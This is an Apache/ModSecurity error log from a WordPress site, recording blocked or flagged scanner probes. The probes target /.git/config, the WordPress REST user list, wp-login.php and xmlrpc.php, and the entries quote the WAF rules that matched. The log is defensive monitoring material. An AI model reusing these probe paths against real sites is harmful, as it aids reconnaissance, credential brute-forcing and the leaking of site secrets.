[Sun May 10 22:02:08.776610 2026] [autoindex:error] [pid 16136:tid 16157] [client 20.5.8.136:56671] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-admin/css/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive, referer: binance.com
[Sun May 10 22:26:03.888293 2026] [:error] [pid 16038:tid 16080] [client 139.155.134.17:41166] [client 139.155.134.17] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.rcacivilgroup.com|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.rcacivilgroup.com"] [uri "/"] [unique_id "agCVe04hf5Tcsfa2scJinwAAAYw"]
[Mon May 11 01:09:41.268194 2026] [:error] [pid 16038:tid 16075] [client 34.89.174.128:35042] [client 34.89.174.128] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.rcacivilgroup.com"] [uri "/.git/config"] [unique_id "agC71U4hf5Tcsfa2scJzMwAAAYc"]
[Mon May 11 02:04:39.825808 2026] [:error] [pid 16037:tid 16055] [client 46.202.164.233:57008] [client 46.202.164.233] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||rcacivilgroup.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "rcacivilgroup.com"] [uri "/wp-json/wp/v2/users/me"] [unique_id "agDIt3zjLQfyYTkAdSSk4wAAAA4"]
[Mon May 11 03:16:24.454755 2026] [:error] [pid 16096:tid 16123] [client 158.173.67.235:23617] [client 158.173.67.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/"] [unique_id "agDZiK8wyxcrT50p9kv9gQAAAFY"]
[Mon May 11 03:16:24.981367 2026] [:error] [pid 16096:tid 16114] [client 158.173.67.90:23581] [client 158.173.67.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/"] [unique_id "agDZiK8wyxcrT50p9kv9iQAAAE0"]
[Mon May 11 03:16:25.490478 2026] [:error] [pid 16037:tid 16044] [client 158.173.67.90:30805] [client 158.173.67.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/"] [unique_id "agDZiXzjLQfyYTkAdSSw7AAAAAM"]
[Mon May 11 03:16:26.007043 2026] [:error] [pid 16096:tid 16104] [client 158.173.67.210:47199] [client 158.173.67.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/"] [unique_id "agDZiq8wyxcrT50p9kv9rAAAAEM"]
[Mon May 11 03:16:26.522094 2026] [:error] [pid 16096:tid 16110] [client 158.173.67.63:52475] [client 158.173.67.63] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/"] [unique_id "agDZiq8wyxcrT50p9kv9vwAAAEk"]
[Mon May 11 03:21:05.626964 2026] [:error] [pid 16037:tid 16045] [client 147.135.213.153:45700] [client 147.135.213.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/robots.txt"] [unique_id "agDaoXzjLQfyYTkAdSSyDAAAAAQ"]
[Mon May 11 03:21:09.389654 2026] [:error] [pid 9842:tid 9862] [client 147.135.213.153:36312] [client 147.135.213.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/robots.txt"] [unique_id "agDapUKCvgYKKAjiZbJ8lwAAARE"]
[Mon May 11 03:31:24.068615 2026] [:error] [pid 16037:tid 16048] [client 23.22.236.16:33580] [client 23.22.236.16] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 23.22.236.16, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "agDdDHzjLQfyYTkAdSSz5wAAAAc"]
[Mon May 11 03:31:25.178696 2026] [:error] [pid 16037:tid 16065] [client 23.22.236.16:33580] [client 23.22.236.16] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 23.22.236.16, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "agDdDXzjLQfyYTkAdSSz6AAAABg"], referer: https://rcacivilgroup.com/wp-login.php
[Mon May 11 05:01:03.264288 2026] [:error] [pid 65366:tid 65374] [client 20.118.19.166:1998] [client 20.118.19.166] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 20.118.19.166, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "agDyD6hVGdYzapDtv-Hh-QAAAMY"]
[Mon May 11 05:01:06.346677 2026] [:error] [pid 65366:tid 65383] [client 20.118.19.166:1998] [client 20.118.19.166] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 20.118.19.166, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "agDyEqhVGdYzapDtv-Hh-gAAAM4"], referer: https://rcacivilgroup.com/wp-login.php
[Mon May 11 05:44:31.670828 2026] [:error] [pid 65261:tid 65343] [client 173.231.249.1:43426] [client 173.231.249.1] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 173.231.249.1, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "agD8P5u_9uQJeFrcOss05AAAAJQ"]
[Mon May 11 05:44:32.782517 2026] [:error] [pid 65261:tid 65330] [client 173.231.249.1:43426] [client 173.231.249.1] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 173.231.249.1, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "agD8QJu_9uQJeFrcOss05QAAAIc"], referer: https://rcacivilgroup.com/wp-login.php
[Mon May 11 06:16:55.206983 2026] [:error] [pid 9335:tid 9340] [client 197.205.216.246:63224] [client 197.205.216.246] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 197.205.216.246, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "agED13mXqumINT8bKREf8wAAAQM"]
[Mon May 11 06:17:05.316477 2026] [:error] [pid 9335:tid 9356] [client 197.205.216.246:63584] [client 197.205.216.246] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 197.205.216.246, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "agED4XmXqumINT8bKREgBwAAARM"]
[Mon May 11 06:18:18.460804 2026] [:error] [pid 65261:tid 65330] [client 197.205.216.246:49673] [client 197.205.216.246] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 197.205.216.246, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "agEEKpu_9uQJeFrcOss5lgAAAIc"]
[Mon May 11 06:18:39.328452 2026] [:error] [pid 9335:tid 9359] [client 197.205.216.246:50401] [client 197.205.216.246] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 197.205.216.246, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "agEEP3mXqumINT8bKREgUgAAARY"]
[Mon May 11 06:19:10.575994 2026] [:error] [pid 65366:tid 65383] [client 197.205.216.246:51460] [client 197.205.216.246] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 197.205.216.246, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "agEEXqhVGdYzapDtv-Hx2QAAAM4"]
[Mon May 11 08:24:50.882023 2026] [:error] [pid 65259:tid 65292] [client 172.182.213.144:46110] [client 172.182.213.144] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 172.182.213.144, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/wp/xmlrpc.php"] [unique_id "agEh0gPsXLnMa32ma5BegQAAABg"]
[Mon May 11 10:21:55.122735 2026] [autoindex:error] [pid 35052:tid 35056] [client 194.163.174.253:50144] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-admin/css/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive, referer: binance.com
[Mon May 11 10:30:35.314321 2026] [:error] [pid 9335:tid 9356] [client 43.135.145.117:37306] [client 43.135.145.117] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||rcacivilgroup.com|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "rcacivilgroup.com"] [uri "/"] [unique_id "agE_S3mXqumINT8bKRFQGQAAARM"]
[Mon May 11 10:47:11.891389 2026] [:error] [pid 65259:tid 65272] [client 162.14.81.106:44158] [client 162.14.81.106] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||rcacivilgroup.com|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "rcacivilgroup.com"] [uri "/"] [unique_id "agFDLwPsXLnMa32ma5BpuQAAAAQ"]
[Mon May 11 11:13:30.511548 2026] [:error] [pid 9335:tid 9344] [client 43.130.131.18:38962] [client 43.130.131.18] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.rcacivilgroup.com|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.rcacivilgroup.com"] [uri "/"] [unique_id "agFJWnmXqumINT8bKRFWuAAAAQc"]
[Mon May 11 13:42:15.006778 2026] [:error] [pid 35052:tid 35056] [client 103.72.97.232:22428] [client 103.72.97.232] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 103.72.97.232, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "agFsN-HjpNNnFJrMXu3vJwAAAUE"]
[Mon May 11 13:42:16.147528 2026] [:error] [pid 35052:tid 35064] [client 103.72.97.232:22428] [client 103.72.97.232] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 103.72.97.232, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "agFsOOHjpNNnFJrMXu3vKwAAAUk"], referer: https://rcacivilgroup.com/wp-login.php
[Mon May 11 14:49:31.258713 2026] [:error] [pid 4685:tid 4696] [client 192.185.176.183:12896] [client 192.185.176.183] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 192.185.176.183, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "agF7-3wrjbU4NZilCZ-jqwAAAQg"]
[Mon May 11 14:49:32.873832 2026] [:error] [pid 4685:tid 4693] [client 192.185.176.183:12896] [client 192.185.176.183] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 192.185.176.183, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "agF7_HwrjbU4NZilCZ-jsAAAAQU"], referer: https://rcacivilgroup.com/wp-login.php
[Mon May 11 16:23:48.644388 2026] [:error] [pid 4685:tid 4689] [client 203.192.238.159:57419] [client 203.192.238.159] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 203.192.238.159, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "agGSFHwrjbU4NZilCZ_BpgAAAQE"]
[Mon May 11 16:26:12.075805 2026] [:error] [pid 4645:tid 4670] [client 203.192.238.159:55998] [client 203.192.238.159] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||rcacivilgroup.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "rcacivilgroup.com"] [uri "/wp-json/wp/v2/users"] [unique_id "agGSpHy4dxn8-Cx5vOWSjQAAAFY"]
[Mon May 11 16:26:44.377369 2026] [:error] [pid 58615:tid 58632] [client 203.192.238.159:55851] [client 203.192.238.159] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 203.192.238.159, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "agGSxFK28yH055J8TSrLVAAAAA0"]
[Mon May 11 17:42:41.555376 2026] [:error] [pid 4645:tid 4668] [client 108.167.132.205:50180] [client 108.167.132.205] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 108.167.132.205, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "agGkkXy4dxn8-Cx5vOWdEAAAAFQ"]
[Mon May 11 17:42:42.803098 2026] [:error] [pid 4645:tid 4650] [client 108.167.132.205:50180] [client 108.167.132.205] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 108.167.132.205, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "agGkkny4dxn8-Cx5vOWdFQAAAEI"], referer: https://rcacivilgroup.com/wp-login.php
[Mon May 11 18:46:14.156764 2026] [:error] [pid 58615:tid 58641] [client 104.244.79.40:55666] [client 104.244.79.40] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 104.244.79.40, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "agGzdlK28yH055J8TSrXpAAAABY"]
[Mon May 11 18:46:15.139068 2026] [:error] [pid 58615:tid 58621] [client 104.244.79.40:55666] [client 104.244.79.40] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 104.244.79.40, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "agGzd1K28yH055J8TSrXpgAAAAI"], referer: https://rcacivilgroup.com/wp-login.php
[Mon May 11 19:41:14.921164 2026] [:error] [pid 58616:tid 58652] [client 34.162.199.182:42466] [client 34.162.199.182] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "rcacivilgroup.com"] [uri "/.git/config"] [unique_id "agHAWtnsbeF5ioCAecjnyQAAAMY"]
[Mon May 11 19:41:17.489111 2026] [:error] [pid 58750:tid 58752] [client 34.162.199.182:36690] [client 34.162.199.182] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "rcacivilgroup.com"] [uri "/.git/config"] [unique_id "agHAXTBVaNG3wJtPBU-r9AAAAUA"]
[Mon May 11 20:19:10.401387 2026] [:error] [pid 58677:tid 58710] [client 94.247.172.129:49334] [client 94.247.172.129] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.rcacivilgroup.com|F|4"] [data "close, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.rcacivilgroup.com"] [uri "/"] [unique_id "agHJPhasRhyteIXf1RVmdAAAAJY"]
[Mon May 11 21:14:35.853168 2026] [:error] [pid 58616:tid 58654] [client 43.159.57.144:37132] [client 43.159.57.144] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||rcacivilgroup.com|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "rcacivilgroup.com"] [uri "/"] [unique_id "agHWO9nsbeF5ioCAecjvKgAAAMg"]
[Mon May 11 21:34:07.116362 2026] [:error] [pid 58677:tid 58707] [client 107.189.29.201:59555] [client 107.189.29.201] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 107.189.29.201, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "agHazxasRhyteIXf1RVwOQAAAJM"]
[Mon May 11 21:35:41.797749 2026] [:error] [pid 4645:tid 4668] [client 37.41.71.19:52918] [client 37.41.71.19] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 37.41.71.19, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "agHbLXy4dxn8-Cx5vOXF2wAAAFQ"]
[Mon May 11 21:35:50.168371 2026] [:error] [pid 4685:tid 4695] [client 37.41.71.19:53250] [client 37.41.71.19] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 37.41.71.19, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "agHbNnwrjbU4NZilCZ8OiwAAAQc"]
[Mon May 11 21:35:52.310559 2026] [:error] [pid 4645:tid 4652] [client 37.41.71.19:53331] [client 37.41.71.19] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 37.41.71.19, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "agHbOHy4dxn8-Cx5vOXF4AAAAEQ"]
[Mon May 11 21:36:00.628939 2026] [:error] [pid 4685:tid 4689] [client 37.41.71.19:53640] [client 37.41.71.19] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 37.41.71.19, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "agHbQHwrjbU4NZilCZ8OlAAAAQE"]
[Mon May 11 21:36:02.772879 2026] [:error] [pid 4685:tid 4697] [client 37.41.71.19:53711] [client 37.41.71.19] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 37.41.71.19, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "agHbQnwrjbU4NZilCZ8OlQAAAQk"]
[Mon May 11 21:36:40.956845 2026] [:error] [pid 58616:tid 58656] [client 43.157.156.190:49636] [client 43.157.156.190] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.rcacivilgroup.com|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.rcacivilgroup.com"] [uri "/"] [unique_id "agHbaNnsbeF5ioCAecjwuQAAAMo"]
[Mon May 11 23:10:19.248059 2026] [:error] [pid 4645:tid 4648] [client 175.178.110.121:56190] [client 175.178.110.121] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.rcacivilgroup.com|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.rcacivilgroup.com"] [uri "/"] [unique_id "agHxW3y4dxn8-Cx5vOXVxgAAAEA"]
[Tue May 12 00:29:52.211199 2026] [:error] [pid 58615:tid 58619] [client 135.232.201.48:56933] [client 135.232.201.48] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 135.232.201.48, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "agIEAFK28yH055J8TSr6qwAAAAA"]
[Tue May 12 00:56:27.372188 2026] [:error] [pid 4685:tid 4696] [client 43.159.128.247:36072] [client 43.159.128.247] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||rcacivilgroup.com|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "rcacivilgroup.com"] [uri "/"] [unique_id "agIKO3wrjbU4NZilCZ85HQAAAQg"]
